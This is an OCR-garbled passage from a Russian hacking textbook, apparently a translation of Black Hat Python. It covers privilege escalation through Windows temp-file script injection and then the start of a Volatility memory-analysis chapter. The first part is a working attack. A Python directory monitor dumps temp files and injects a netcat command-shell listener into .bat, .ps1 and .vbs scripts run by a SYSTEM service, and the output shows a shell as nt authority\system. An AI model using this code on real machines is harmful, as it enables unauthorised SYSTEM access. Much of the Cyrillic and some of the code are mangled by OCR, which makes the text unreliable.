CUCTEMHBIX a/[MUHUCTPATOPOB, aBTOMATU3UPYs PyTUHHBIE 3ajaun. OHu, K 1npu-
MepY, MOTYT BBITIOJIHATH PETYJISPHYIO PETUCTPAIINIO B IIEHTPATbHON CIIyKOe pac-
[peieIeHs WM IPUHYIUTEIbHO 3arpyskaTh oOHoBIeHust I1O 13 coGCTBEHHBIX
penosuropues. Ho BceM aTiM CKpUIITOBBIM (haiiiam mpucyiia oaa oo1as mpoobJie-
Ma — OTCYTCTBUE HAJIJIeKAIIero MeXaH3Ma yIIPaBJIeHNs JOCTYTTOM. MBI HEO/THO-
KPaTHO HaXO/IMJIN Ha 3aIUIIEHHBIX B I[EJIOM CEPBEPAX MaKeTHbIE (haiiiIbl 1 CKPUTITHI
PowerShell, koTopbie esxeTHEBHO BBITOIHSINCH yueTHOI 3amchio SYSTEM u ipu
9TOM OBLIH IOCTYITHBI [IJIsT 3AIUCH JI0OOMY MOTIb30BATEIIO B CHCTEME.

Ecun Baie cpecTBO MOHUTOPUHTA MIPOIIECCOB OBOJBHO J0JT0O popaboTaer
B KOPIIOPATUBHOM ceTH (MJIN BbI [IPOCTO YCTAHOBUTE IEMOHCTPAIIMOHHYIO CITYKOY,
PacCMOTPEHHYIO B HavaJsie 3TOM IJIaBbl ), BbI CMOKETE YBUIETh 3allUCH HAIOK00ue
cielytoniei:

wscript.exe C:\Windows\TEMP\bhservice_task.vbs , 20200624102235.287541-240 , C:\
Windows\SysWOW64\wscript.exe,2828 , 17516 , ('NT AUTHORITY', @, 'SYSTEM') , Seloc
kMemoryPrivilege|SeTcbPrivilege|SeSystemProfilePrivilege|SeProfileSingleProcessPr
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ivilege|SeIncreaseBasePriorityPrivilege|SeCreatePagefilePrivilege|SeCreatePermane
ntPrivilege|SeDebugPrivilege|SeAuditPrivilege|SeChangeNotifyPrivilege|SeImpersona
tePrivilege|SeCreateGlobalPrivilege|SeIncreaseWorkingSetPrivilege|SeTimeZonePrivi
lege|SeCreateSymbolicLinkPrivilege|SeDelegateSessionUserImpersonatePrivilege|

3nechb BUAHO, uTo 1Iportecc SYSTEM sanyctui ucrosinsieMblil paiiiwscript. exe
u nepezgas emy C:\WINDOWS\TEMP\bhservice_task.vbs B KauecTBe mapamerpa.
JleMOHCTPAIIMOHHBIN cepBUC bhservice, KOTOPBII BBl CO3/aN B HAadaje 9TOU
IJIaBbI, IOJIKEH TeHEPUPOBATh TaKKe COOBITHS €KEMUHYTHO.

Ho ecJiv 3ar/isiHy Th B COOTBETCTBYIOIILYTO MAIKY, 0OHAPY/KUTCSI, 4TO 3TOTO (haiiia
TaMm Her. /[es10 B ToM, uTo cryskba co3maet daiist ¢ kogom Ha VBScript, BbimosHsieT
ero u 3aTeM yaasusgeT. Mbl He pa3 BUIeN 9TOT TIPUEM B UCTIOTHEHUH KOMMepyJe-
CKOTO TIPOrPAMMHOTO 00€ecTiedeHusT — 3a4acTyio (hails co3aerTcsi BO BpeMEHHOM
KaTaJore, B HEr0 3alliChIBAIOTCS KaKUe-TO KOMAH/Ib, I10CJIe Yero ITOJIyYeHHbII
[IPOrPaMMHBIH (haiisl BHIIOJIHSETCS U B UTOTE Y/IAJISIETCSI.

YT100BI BOCIIOJNB30BATHCS TOI cUTyalneil, HaM (haKTUYECKU HYKHO OIepe-
IUTh ucnoangembrii kon. Korpa [1O naum 3anymanmpoBantoe 3a/aiie cO3/1aeT
(aiis, Mbl JJOJKHBI yCIIeTh BHEAPUTH B HETO CBOIi KOJ, IIPeXkKAe YeM OH Oy/er
BBITIOJTHEH U yaajeH. JIoOUThCs 3TOr0 MOXKHO € MOMOTIBIO YA0OHOH hyHKINN
ReadDirectoryChangesW us Windows API, koTtopas 1mo3BoJIsIeT OTCIeKUBATD
0001 KaTaJIo0r Ha [IPeAMET M3MEHEHUI, BHOCUMBIX B €€ (DaiiIbl MJIU II0JKATAIOTH.
MBbI TaksKe MOKeM (DUIBTPOBATH 9TH COOBITHSI, YTOOBI 3HATD, KOT/[a COXPAHSIETCS
omnpeeeHHbIN (aitr. Tak MbI MOsKeM GBICTPO BHEAPUTH B HETO CBOI KOJI, TPEK/Ie
yeM OH OyieT BbiosHeH. VHorza ObiBaeT KpaiiHe 110JIe3HO IIPOCTO MOHAOIIOAATH
32 BCeMH BPEMEHHBIMU KaTaJIOTaMU Ha MPOTSIKEHUU CYTOK UJIH IOJIbIIIE — IIOMUMO
MOTEHIIUATBHOTO MOBBIIEHUST TPUBUIETHI BB MOKETE 0OHAPYKUTh HHTEPECHbIE
pOrpaMMHBbI€ ONTMOKN MJIU CITyYaitHO PACKPBITYIO HH(MOPMAIIHUIO.

[l Hayasa co3/1aiuM CPeICTBO MOHUTOPUHTA (DaiijioB, a 3aTEM YCOBEPIIEHCTBY-
€M €ro Tak, 4ToObl OHO MOLJIO aBTOMATU4YeCKU BHeAPATH KoxA. Coszaiite daiin
file_monitor.py u HabepuTe CIeayIoNIee:

# MoAMPMUMPOBAHHLIN NMpuUMep, U3HayYalbHO OMy6JMKOBAHHLIA 3[eCh:

# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes
html

import os

import tempfile

import threading

import win32con

import win32file

FILE_CREATED = 1
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FILE_DELETED = 2

FILE_MODIFIED = 3
FILE_RENAMED_FROM
FILE_RENAMED_TO =

=4

5

FILE_LIST_DIRECTORY = 0x0001

PATHS = ['c:\\WINDOWS\\Temp', tempfile.gettempdir()] ©

def monitor(path_to_watch):
h_directory = win32file.CreateFile( @

path_to_watch,

FILE_LIST_DIRECTORY,

win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE |

win32con.FILE_SHARE_DELETE,

None,

win32con.OPEN_EXISTING,

win32con.FILE_FLAG_BACKUP_SEMANTICS,

None

)

while True:
try:
results = win32file.ReadDirectoryChangesW( ©

h_directory,
1024,
True,
win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
win32con.FILE_NOTIFY_CHANGE_SECURITY |
win32con.FILE_NOTIFY_CHANGE_SIZE,
None,
None

for action, file_name in results: O
full filename = os.path.join(path_to_watch, file_name)
if action == FILE_CREATED:
print(f'[+] Created {full_filename}")
elif action == FILE_DELETED:
print(f'[-] Deleted {full_filename}')
elif action == FILE_MODIFIED:
print(f'[*] Modified {full_filename}')
try:
print('[vvv] Dumping contents ... ')
with open(full_filename) as f: ©
contents = f.read()
print(contents)
print('[~*"] Dump complete."')
except Exception as e:
print(f'[!!!] Dump failed. {e}')

elif action == FILE_RENAMED_FROM:
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print(f'[>] Renamed from {full_filename}")
elif action == FILE_RENAMED_TO:
print(f'[<] Renamed to {full_filename}')
else:
print(f'[?] Unknown action on {full_filename}')
except Exception:
pass

if __name__ == '__main__":
for path in PATHS:
monitor_thread = threading.Thread(target=monitor, args=(path,))
monitor_thread.start()

Ml CO3/1a€M CIIMCOK KaTaJIOTOB, KOTOPbIE XOTUM OTCJIEKNBATD 0, — B HallleM
CJIydae 9TO IB€ HIMPOKO UCITOJIb3Yy€EMDbIE TTAITKK 1JII BDEMEHHDBIX q)anIOB. Ecim Bam
3axoyeTrcAa HOHa6]IIOILaTb 3a IPYIruMUr Me€CTaMU, MOJKETE OTPEAAKTHPOBATDb 3TOT
CITMCOK 110 CBOEMY YCMOTPEHUIO.

[t KasK0ro U3 9TUX IIyTel Mbl co3/1aeM IIOTOK MOHUTOPUHTA, KOTOPBIH BbI-
3bIBaeT (DyHKIMIO start_monitor. BHayase oHa MbITAETCS MOJIYYNUTD JECKPHII-
TOP KaTajora, 3a KOTOPbIM MbI XOTUM CJIEeIUTh @. 3aTeM BbI3bIBACTCS (DYHKITH
ReadDirectoryChangesW ©, KoTopas yBeoMJIsSIeET HAC O BHOCUMbBIX U3MEHEHUSIX.
Mbi ostygaeM uMst i3MEHEHHOTO (haiiia u THT mpou3oriesiiero coobtus @. Jlan-
T11€ BBIBOZIMM TI0JIE3HYTO MH(MOPMAITHIIO O TOM, UYTO CJIYUUIIOCH C STUM KOHKPETHBIM
aiinom, n ecaiit 0GHAPYKUIOCE, YTO OH U3MEHEH, 0TOOPAKaeM JIJIst HATJISITHOCTH
BCE €T0 cofiepskuMoe ©.

MpoBepka HANUCAHHOrO

OTkpoiiTe KOMaHIHYI0 0607I0UKY cmd. exe 1 3ammyctute file_monitor.py:

C:\Users\tim\work> python.exe file_monitor.py

OTKPOﬁTe BTOPYIO KOMaH/IHYIO O6OJIO‘{Ky cmd.exe U BBIIIOJIHUTE cjaeayrouime
KOMaH/IbI:

C:\Users\tim\work> cd C:\Windows\temp
C:\Windows\Temp> echo hello > filetest.bat
C:\Windows\Temp> rename filetest.bat file2test
C:\Windows\Temp> del file2test

Bor NOJIKHBI YBUIETH HpI/I6JII/ISI/ITeJII)HO TaKOM BbIBO/:

[+] Created c:\WINDOWS\Temp\filetest.bat
[*] Modified c:\WINDOWS\Temp\filetest.bat
[vvv] Dumping contents
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hello

[~~~] Dump complete.

[>] Renamed from c:\WINDOWS\Temp\filetest.bat
[<] Renamed to c:\WINDOWS\Temp\file2test

[-] Deleted c:\WINDOWS\Temp\file2test

Ecsm Bee 1omiio 1o miany, COBETyeM BaM OCTaBUTh CBOE CPEACTBO MOHUTOPUHTA
(hailIoB 3aIyIeHHbIM B aTaKyeMOIl crcTeMe Ha CYyTKU. Bbl MOJKeTe yANBUTHCS
TOMY, Kakue (ailJibl CO3AaI0TCs, BBIMOJHAIOTCS U yaanstorces. UTo6bl HailTh 10-
HOJTHUTEbHBIE IIYTH JIJIsI UCCIIEI0BAHNS, MOYKHO BOCIIOJIb30BATHCS HAIMCAHHBIM
BaMHU CPEeJCTBOM MOHUTOPHHTIA IPoIeccoB. OcoOblii HHTEPEC MOTYT MPEACTABIATH
obnossenus: I10.

[IaBaﬁTe IIO6aBI/IM BO3MOKXHOCTDb BHEZIPATH B 9TU (bafl]lbI HCITOTHSIEMBIH KO/I.

BHepgpeHue kopga

[TomyauB BO3MOKHOCTD OTCJIE;KUBATD MTPOTIECCH U MYTHU K (patisaM, oprannsyemM
ABTOMATHYECKOE BHEJIPEHNE B MHTepecyole Hac Gailibl UCTIOTHIEMOTO KOJIA.
Hamumiem aeMenTapHble KOMaHIbI, KOTOPBIE 3aITyCKAIOT CKOMITMJIMPOBAHHYIO
BEPCHIO MHCTPYMEHTA netcat.py ¢ TeM jKe YPOBHEM MPUBUJIETUI, YTO U Y UCXO/I-
HOH carysk0bI (T, KoTOpast X BbioHsieT ). C momotbio aTux daitio VBScript,
BAT u PowerShell MoskHO HATBOPUTH MHOKECTBO BCEBO3MOKHBIX ITAKOCTEH. MbI
co3aumM O0TIHIT KapKac, HAMOJHEHIE KOTOPOTO OYIEeT OTPAaHUY€EHO JIUIITH Ballieit
danTaszueit. OTkpoiite ckpunT file_monitor.py 1 J06aBbTe CJAEAYIONIIT KO 110-
cJie KOHCTAHT ¢ COOBITHSIME N3MeHeHus (ailioB!:

NETCAT "c:\\users\\tim\\work\\netcat.exe'
TGT_IP = '192.168.1.208"
CMD = f'{NETCAT} -t {TGT_IP} -p 9999 -1 -c '

ITU KOHCTAHTBI OY/IET UCIIONb30BaTh KO, KOTOPBIA MbI COOMPAEMCST BHEAPSITH:
TGT_IP — aro IP-aapec xeprBbl (KoMibioTepa ¢ Windows, Ha KOTOpBIii Oy/er
MIPOUCXOMUTD BHEAPeHue), a TGT_PORT — MOPT, K KOTOPOMY MBI TTOAKIIOUNMCS.
[TepemenHast NETCAT XpaHWT Iy Th K ajibrepHatuie Netcat, HAmMcaHHOI B riase 2.
Ecuv BBI elie He creHepupoBaIn U3 9TOr0 KOJa MCIOJHAEMbIil (aiis, MoxeTe
c/iesaTh 9TO cenyac:

C:\Users\tim\netcat> pyinstaller -F netcat.py

! Peusb uzer o FILE_ CREATED, FILE DELETED u . 1.
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3arem CKOTMpYiiTe Oy YUBIIANCS UCTIOTHIEMbIT (hailsl B CBOIO TAIKy 1 yOe [u-
TeCch B TOM, UTO repeMenHasi NETCAT yKka3biBaeT UMEHHO Ha HETO.

Komanza, KOTopyIo BBIOJHUT BHEPEHHBIN KOJI, CO3/1aeT 00OPATHYIO0 KOMaHIHYIO
000JI0UKY:

FILE_TYPES = { ©
".bat': ["\r\nREM bhpmarker\r\n", f'\r\n{CMD}\r\n'],
‘.psl': ["\r\n#tbhpmarker\r\n", f'\r\nStart-Process "{CMD}"\r\n'],
'.vbs': ["\r\n'bhpmarker\r\n",
f'\r\nCreateObject("Wscript.Shell").Run("{CMD}")\r\n'],

}

def inject_code(full_filename, contents, extension):
if FILE_TYPES[extension][@].strip() in contents: @
return

full contents = FILE_TYPES[extension][0] ©

full_contents += FILE_TYPES[extension][1]

full_contents += contents

with open(full_filename, 'w') as f:
f.write(full_contents)

print('\\o/ Injected Code')

Brauaste MbI co3iaeM csioBaphb (hparMeHTOB KO/, KOTOPbIE COOTBETCTBYIOT TOMY WJTH
nHoMy pactiupernio daiiioB @. Kaskapiii pparMeHT CoIep:KUT YHUKAIbHBIN MapKep
1 KOJI, KOTOPBIN MBI XOTUM BHEAPUTH. MapKep HysKeH JiJIs1 TOTO, 4TOObI N30€eKaTh
OeCKOHEUHBIX 1IUKJIOB B CUTYaIUSIX, KOTJIa MBI BUZIAM, YTO (paiis M3MEHUJICS, BCTaB-
JISIEM HALI KOJ ¥ CAMU BOCIIPUHMMAEM TO JEHCTBUE KaK COObITHE n3MeHeHus (paiia.
K ToMmy ke 110 Mepe BBITOJIHEHUST 3TOTO IUKJIA (Daiijl PaHO WK ITO3/IHO BBIPACTET
JI0 TUTAaHTCKUX Pa3MePOB U JKECTKUH JAUCK COlizieT ¢ yma. BMmecTo aToro rporpamma
IIPOBEPSIET HAIMUKE MaPKePa U, CJIM OH €CTh, He MOAUMUIIMPYeT (ailjl HOBTOPHO.

Jlanbie ¢pyHKIMs inject_code MpOM3BOAUT COOCTBEHHO BHEAPEHUE KOJA U ITPO-
BEPKy Mapkepa. YOeaUBIIKCh B TOM, 4YTO MapKep OTCYTCTBYET @, MbI 3alI1ChIBAEM
€0 BMECTe € KOJIOM, KOTOPBIH, 110 HAllleMy 3aMbICJTY, OJIKEeH BBIIIOJIHUTD aTaKye-
MbIii riportecc ©. Terepb HaM HYKHO OTPEIaKTUPOBATH TJIABHbII IIMKJT COOBITHII,
Tak yTOOBI OH IIPOBEPSLI paciuupenus (aillos U BbI3bIBAI inject_code:

--nponyueHo- -
elif action == FILE_MODIFIED:
extension = os.path.splitext(full_filename)[1] ©

if extension in FILE_TYPES: @
print(f'[*] Modified {full_filename}")
print('[vvv] Dumping contents ... ")
try:
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with open(full_filename) as f:
contents = f.read()
# HOBbI KOJ
inject_code(full_filename, contents, extension)
print(contents)
print('[~""] Dump complete.')
except Exception as e:
print(f'[!!!] Dump failed. {e}")
--nponyueHo- -

ITO OBOJBHO TIPOCTOE 1 TIOHATHOE JIOTIOTHEHNE K OCHOBHOMY ITIUKJTY. MBI j1ako-
HUYHO N3BJIEKaeM pacimupenne (aiiiza @ 1 cormocTaBisgeM ero ¢ HalllM CJI0OBapeM
M3BECTHBIX (haiiyIoBBIX TUTIOB @. Ecoi pacimpenne mpuCcyTCTBYET B CJIOBAape, BbI-
3bIBaeM (PyHKIMIO inject_code. [TocMoTpuM, Kak 3T0 paboTaer.

MpoBepka HanucaHHoOro

Ecnu B Havyase aTOl I71aBbI BB YCTAHOBUJIU bhservice, MOKeTe C JIETKOCTBIO TTPO-
TECTUPOBATH CBOE HOBOE MOJIHOE CPE/ICTBO BHEAIPEHUST KOA. YOeIUTeCh B TOM, 4TO
C.Hy>K6a 3amyIIenHa, a 3aTeM BBITTOTHUTE CKPUMT file_monitor.py. B koneunom
cyeTe BbI JIOJKHBI YBU/IETh BBIBOJ, CUTHAJIM3UPYIOUIUI O CO3/IaHUU U PeIaKTU-
posannu daiina .vbs, a Tak:ke 0 BHEIPEHUU Koja. B ciemyiomem mpuMepe Mbl
yOpaJu BBIBOJI COZIEPIKUMOTO (haiisia, 4TOObI COKOHOMUTDH MECTO:

[*] Modified c:\Windows\Temp\bhservice task.vbs
[vvv] Dumping contents ...

\o/ Injected Code

[~~~] Dump complete.

Tenepb, OTKPBIB OKHO KOMAH/THOHM CTPOKH, BBI JIOJIZKHBI YBU/IETD, YTO MHTEPECYIO-
LM HAC ITOPT OTKPBHIT:

c:\Users\tim\work> netstat -an |findstr 9999
TCP 192.168.1.208:9999 0.0.0.0:0 LISTENING

Ecom Bce mporiio Xxopotito, BbI CMOKETE BOCIOJIB30BATHCSA KOMAH/ION nc WM 3a-
IYCTUTDb CKPUIIT netcat. py 13 JIaBbl 2, 4TOOBI MOAKIIOUUTHCS K IIPOCITY ITUBAIOTIEN
IpOTpaMMe, KOTOPYIO TOJIBKO YTO 3amycTin. YToObI TOATBEPANUTD YCIIEITHOE
HOBbIIIEHUE TIPUBUIIEIHIL, HOAKIIOUNTECh U3 cBoeil cucrembl Kali u mposepsre,
OT UMEHH KaKOTO MT0JIb30BATEJIS BBl BOIILIH:

$ nc -nv 192.168.1.208 9999

Connection to 192.168.1.208 port 9999 [tcp/*] succeeded!
#> whoami

nt authority\system

#> exit
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ITO CBUETENBCTBYET O TOM, YTO BbI 003aBEJINCH TPUBUIIETUSAMHE €€ BBICOUECTBA
yuertoii 3amicu SYSTEM. Breapenune xoja cpaboTaio.

[Tocne mpouTenusa aToOM IJIaBBl Y BaC MOKET CJIOKUTLCA BIleYaTIeHUeE, YTO 9TU
aTakM HOCAT HECKOJIbKO 230Tepuueckuii xapakrep. Ho nposensa gocrtaTouno Bpe-
MeHU BHYTPHU KPYITHOI KOPIIOPATUBHON CeTH, BbI TOMIMeTe, YTO Mpe/iCTaBIeHHbIe
3/1eCh METOJIbI BIIOJIHE JKU3HECTIOCOOHBI. BB MOJKETE JIETKO yCOBEPIIEHCTBOBATh
HallMCaHHble BAMU WHCTPYMEHTBI WK NPEBPATUTDh UX B Y3KOHAIIPABJIEHHbBIE
CKPUIITBL JJIs1 B3JIOMa JIOKQJIbHOM y4eTHOW 3alucu uiau npunoxenuss. Oaun
Tosibko nHTepdeiic WMI MoxeT MoCay:KuTh OTINYHBIM HCTOYHUKOM TOJIe3HON
JIOKQJIbHOH MH(pOPMAY — OH MOXKET [I03BOJIUTD IIPOJIOJIKUTD aTaKy 110CJIe TOTO
KaK BBl IPOHUKJIM B ceTb. [loBbllIenne MPUBUIIETHIT — HEOThEeMIIEMbIN 2JIeMeHT
J1060TO XOPOIIETO TPOSTHA.



MeToabl KOMNbLIOTEPHO-
TEXHUYECKON 3KCNEepTUsbl
B apceHaNne xakepa

Kommeiorepro-texunueckas sxcneptusa (KT3J) mpo-
BOJIMTCS B CJIydae HapyIieHus: 6e30MacHOCTH WJIN JIJIsT
TOTO, YTOOBI MOATBEPAUTH CaM (DaKT TAKOTO HAPYIIIEHHSI.
IKCIepThl 0OBIYHO XOTST MTOJYYUTh CHUMOK OTl€PaTHB-
HOM MaMsITH aTaKOBAaHHOTO YCTPOICTBA, YTOOI M3BJICYb
Kpurrorpaduyeckre KJI0YM WK IPYTYIO XPAHIIIYIOCS
B Heii nHpopMmaIuio. Ha nx cyactbe, KOMaH/Ia TAJTAHTJINBBIX
pa3paboTYMKOB co3aaa Ha si3bike Python mesbiit hpeiiMBopk oz
HazBauueM Volatility, KOTOPBIN TIOXOANT JIJIST TAKKMX 3a/[a4 W MTPETIOHOCUTCS KaK
HepeIoBoe CPeJCTBO aHaM3a naMsTH. Te, KTO pearupyer Ha HapylieHust 6e30-
nacHocTH, mpoBoauT KT3I u ananusupyet Bpenonocuoe 110, MOryT npuMeHsITH
Volatility u gust niestoro psiga Apyrux 3ajgad, Takux Kak uccjaefoBaHue 00beKTOB
S/Ipa, AaHAJIM3 U CO3/IaHIe CHUMKOB TIAMSITH TIPOTIecca u T. JI.

[Tporpammuoe obecrieuerne Volatility mpeaHasHadeHo st 3alAThI, OTHAKO JIFO-
60l TOCTATOYHO AEHCTBEHHBIN HHCTPYMEHT MOKHO 33/I€fICTBOBATD W JIJIST aTAKH.
C nomompio Volatility Mbr 6yaem cobuparh cBegeHuss 06 MHTEpPeCyomeM Hac
0JIb30BATEIE, @ 3aT€M HAITUIIIEM COOCTBEHHBIE OIK/TI0YaeMble MOJLYJIN JIJIsI TOUC-
Ka /1200 3alUIIeHHBIX IIPOIECCOB, BHITIOIHSIEMbIX B BUPTYa/IbHOI MatiHe (BM).
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ITpezcraBsTe, YTO BBI IPOOPATNCH B KOMITBIOTED 1 0OHAPYIKUIH, UTO TIOJIh30BATEh
paboraer ¢ KoH(pUIEHINAIbHBIMUI JaHHBIMY BHYTpr BM. [[JIs1 IofcTpaxoBKU Ha
cJIyyaii, ecyiv 4YTo-TO TOU/IET He TaK, OH, CKopee Bcero, co3iaeT cHUMKU BM. Mbr
NPUMEHUM CHCTeMY aHasn3a mamsiti Volatility guist uccireioBatmst Takux CHUMKOB
U TIOTIBITAEMCS BBISICHUTBH, KaK MCTOJb3yeTcsd 9Ta BM n kakue mportieccsl B Helt
BBITTOTHATIOTCS. A TaksKe TIOUTIEM MTOTEHIIUATbHBIE YSI3BUMOCTH, KOTOPbIE MOTYT
TIPUTOUTHCS B TAJbHENUTITNX aTaKax.

[Ipuctynmm!

YcTaHoBKka

I[Tpoekt Volatility mosiBusicst HeCKOJIbKO JIeT Ha3ajl U COBCEM HEJIABHO OBLJI TOJTHO-
CThIO Tiepervcan. Majo Toro 4to kogoBast 6asa Tenepb ocnoBana na Python 3,
6oL TpoBeieH pedakTOPUHT Beero hpeiiMBOPKa, Tak YTOOBI €r0 KOMITOHEHTHI
CTaJIM HE3aBUCUMbBIMU, — JIJIsT PAOOTHI TIOKIIOYAEMBIX MOJYJIEH OCTATOUHO UX
COOCTBEHHOTO BHYTPEHHETO COCTOSTHIS.

CosainM BUPTYaJIbHOE OKPYsKEHHUE ClielnabHo 1Jist pabotsi ¢ Volatility. B atom
npuMepe Mol rcnosb3dyem Python 3 8 tepmunane PowerShell na kommbiorepe
¢ Windows. Ecaiu BbI osibayerech Windows, yoeauTech, 4to y Bac ycTaHOBJIEHA
cucTeMa ylpaBJeHus BepcusaMu git. Moxkere ckayarh ee Ha CTpaHUIE https://
git-scm.com/downloads/.

PS> python3 -m venv vol3 ©

PS> vol3/Scripts/Activate.psl

PS> cd vol3/

PS> git clone https://github.com/volatilityfoundation/volatility3.git @
PS> cd volatility3/

PS> python setup.py install

PS> pip install pycryptodome ©

Buauasne MbI co3/iaeM U aKTUBUPYEM BUPTYaJibHOE OKpyskerue vol3 @. 3arem
MepexoiNM B KaTaJoT BUPTYATbHOTO OKPYKEHUS, KIOHUPYEM PETO3UTOPHUI
Volatility 3, pasmenennbiii Ha GitHub @, u ycranaBinBaeM ero BMecTe ¢ akeToM
pycryptodome ®, KOTOPBIil HAM TTOHAIOOUTCS TTO3JKE.

Y106l TPOCMOTPETH MOAKIIOYAEMbIE MOLYJIU M APAMETPbI, KOTOPBIE ITPe/IaraeT
Volatility, ucronbayiire cienyiorntyio komauay (B Windows):

PS> vol --help
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B Linux 1 Mac uy:xHo samyctuth uuTeprperarop Python, naxonsce B BupTyasb-
HOM OKPY>KE€HUH, KaK TTOKa3aHO HUKE:

$> python vol.py --help

B a10ii ritaBe Mbl Oyaem rcnosb3oBaTh Volatility B komMaHaHOI CTPOKE, HO € 9THM
(hpeitMBOPKOM MOKHO paboTaTh 1mo-pasHomy. Haripumep, y Hee ectb BeG-uHTEpdEiiC
Volumetric ¢ OTKPBITHIM KCXOIHBIM KOIOM, HAIIMCAHHBII TEMU JKe PaspadoTYnKaMu
(https://github.com/volatilityfoundation/volumetric/). Bol MOkeTe ricciiefoBaTh IpuMe-
Pl Koa B mpoekTe Volumetric, 4To6bI JIy4liie MOHATH, Kak IpuMeHsaTh Volatility
B COOCTBEHHBIX IIporpamMMax. Kpome Toro, MoskeTe BOCIOIb30BaThCst MHTEPdhEiicoM
volshell, koTopsiii mo3BoJsieT pabotaTh ¢ hpeiimBopkom Volatility u umeer Buj
0OBIYHON MHTEPAKTUBHOI 0600ukn Python.

B caemyromux mpumepax OyjeM UCIIOJIb30BaTh KOMaHAHYIO cTpoky Volatility.
JUJIst 5KOHOMU K MECTa BBIBOJI OTPEAAKTUPOBAH — B HEM MTOKA3aHO TOJIBKO TO, YTO
MbI 06cykaaeM. [loaTomy nmelite B BULY, 4TO B BallieM BbIBOjie Oy/ieT GOJIbIie
CTPOYEK U CTOJOIOB.

[Tpesxe uem yriayOJasThest B KO, 3arystieM BHYTpb Volatility:

PS> cd volatility/framework/plugins/windows/

PS> 1s

_init__.py driverscan.py memmap.py psscan.py vadinfo.py
bigpools.py filescan.py modscan.py pstree.py vadyarascan.py
cachedump.py handles.py modules.py registry/ verinfo.py
callbacks.py hashdump.py mutantscan.py ssdt.py virtmap.py
cmdline.py info.py netscan.py strings.py

dlllist.py 1sadump.py poolscanner.py  svcscan.py

driverirp.py malfind.py pslist.py symlinkscan.py

B arom siictrnTe MBI BuzinM (haiisier Python BHYTpH Katasora ¢ OAKII0YaeMbIMI
momyssimu B Windows. HacTosiTebHO COBETYeM MOTPATUTh KAKOe-TO BPEMsT Ha
HCCJIe/I0BAHYE KOJIa B 3TUX (hailiax. Bl cMokeTe yBUIIETD, 4TO CTPYKTYPA MOJIKIIIO-
qaeMbIx MojtyJieit Volatility hopmupyercst 110 0/1HOi# 1 TO JKe cxeme. DTO OMOKET
BaM JIyuliie pa3oOpaThest B JaHHOM (DpeiiMBOPKe 1, UTO ellle BaskHee, facT odiiee
npescTaBaenne 06 06pase MBIIITIEHIS 1 HAMEPEHHSIX TeX, KTO obecrednBaet 6e3-
omacHocTb. [TonnManme Toro, Ha 4T0 OHI CIIOCOOHBI M KAK JOCTUTAIOT CBOUX I[EJIei,
caeraer Bac 6oJiee yMeJIbIM XaKepoOM U HAYYUT Jiydiie u3beraTb 0OHApPYKEHNUSI.

Wrak, MbI morotoBusu miatdopmy aHaiusa K pabore. Terepb HyKHO TIpoaHa-
JIM3UPOBATDH KaKme-TO 06pa3bl maMsTu. [1poiie BCero st 3TOTO ¢ieIaTh CHUMOK
cobcTBeHHOM BUpTyaabHoi MarmmHbl ¢ Windows 10.
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Cnauvama BkounTe cBoio BM u 3amycTuTe HECKOJIBKO MPOIECCOB (HAIPUMED,
OJIOKHOT, KaJbKYJIATOP U Opaysep) — MbI IPOAHATIM3UPYEM €€ TaMITh U [TOHa-
6JII0/1aeM 32 TeM, KaK 3TH MPOIECCHI CTAPTYIOT. 3aTeM cjlejlaiiTe CHUMOK C 110-
MOIIBIO CBOErO TUIIEPBU30Opa. B manke, B KOTOPOI ruiepBusop XpauuT o0pasbl
BUPTYAJIbHBIX MAIIIH, TTOIBUTCS HOBBIN (hailsI ¢ pacIIUPEHUEM .vmem WA . mem.
[laBatite ero nccuemyem!

CTOUT OTMETHTD, YTO B MHTEPHETE TOKE MOKHO HAWTH MHOKECTBO 00Pa3oB Tia-
Matu. OAWH U3 HUX, KOTOPBIM MbI paCCMAaTPUBAEM B 9TOU TJIaBe, TPEIOCTABIECH
kommanueii PassMark Software 1o azpecy: https://www.osforensics.com/tools/volatility-
workbench.html/. Ha Be6-caiite Volatility Foundation Tose ecTb HeCKOJIbKO 00pa3oB,
€ KOTOPBIMU MOJKHO ITO9KCIIEpUMEHTUPOBATh: https://github.com/volatilityfoundation/
volatility/wiki/Memory-Samples/.

C6éop obwnx ceegeHumn

CobGepem obiine cBeerns 06 aHaaIu3upyeMoM Komibiotepe. [Toakmodaembrit
MOJYJIb windows . info mokasbiBaeT wHGOPMaNKUO 00 OlepalMOHHONI CIUCTEME
U A7Ipe B HAllleM CHUMKE ITaMATH:

PS>vol -f WinDev2@@7Eval-Snapshot4.vmem windows.info ©
Volatility 3 Framework 1.2.0-beta.l

Progress: 33.01 Scanning primary2 using PdbSignatureScanner
Variable Value

Kernel Base 0xf80067218000

DTB 0x12a000

primary © WindowsIntel32e
memory_layer 1 FileLayer
KdVersionBlock ©0xf800686272f0
Major/Minor 15.19041
MachineType 34404
KeNumberProcessors 1

SystemTime 2020-09-04 00:53:46

NtProductType  NtProductWinNt
NtMajorVersion 10

NtMinorVersion ©

PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion ©
PE Machine 34404

Ml ykazasu umst haiiia co CHUIMKOM € TIOMOII[bIO KJTto4a -f U HYKHBIIT TTOJIKIIIO-
qaeMblit Moy J1b 171t Windows, windows . info @. Volatility unraer u anamisupyer
CHUMOK TIaMSITH, BBIBOJIsT 0011yT0 nHopMmaiuio o garuoii cucteme Windows. Kax
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BUNTE, MBI IMeeM Jiesio ¢ BM noz ynpasiennem Windows 10.0, y kotopoii ectb
OJIMH TIPOTIECCOP U OJINH CJION TTaMSITH.

Mosxkere B 00pasoBaTeIbHBIX HEAIX IPUMEHUTh K 00pa3y IaMsaTh HECKOJIbKO
HO/IKJII0YaeMbIX MOJYJIeil, OIHOBPEMEHHO aHAJU3UPYsT UX KojA. UTeHune Koja
1 COIOCTAaBJIEHUE €r0 ¢ COOTBETCTBYIONIMM BbIBOAOM IIOKakKeT BaM, KaK 9TOT
KOJI IoJIKeH paboTarhb, 1 pacKpoer o01uii 00pa3 MbIILIEHUS T€X, KTO OTBEYAET
3a 6€30IaCHOCTb.

[asbiie, BOCIOJIb30BABIINCH MTOJKII0YAEMbIM MOJIYJIEM registry.printkey, Mbl
MO’KEM BbIBECTH 3HaYeHUsI Kaova B peectpe. B peectpe Windows nmeercst MHOKe-
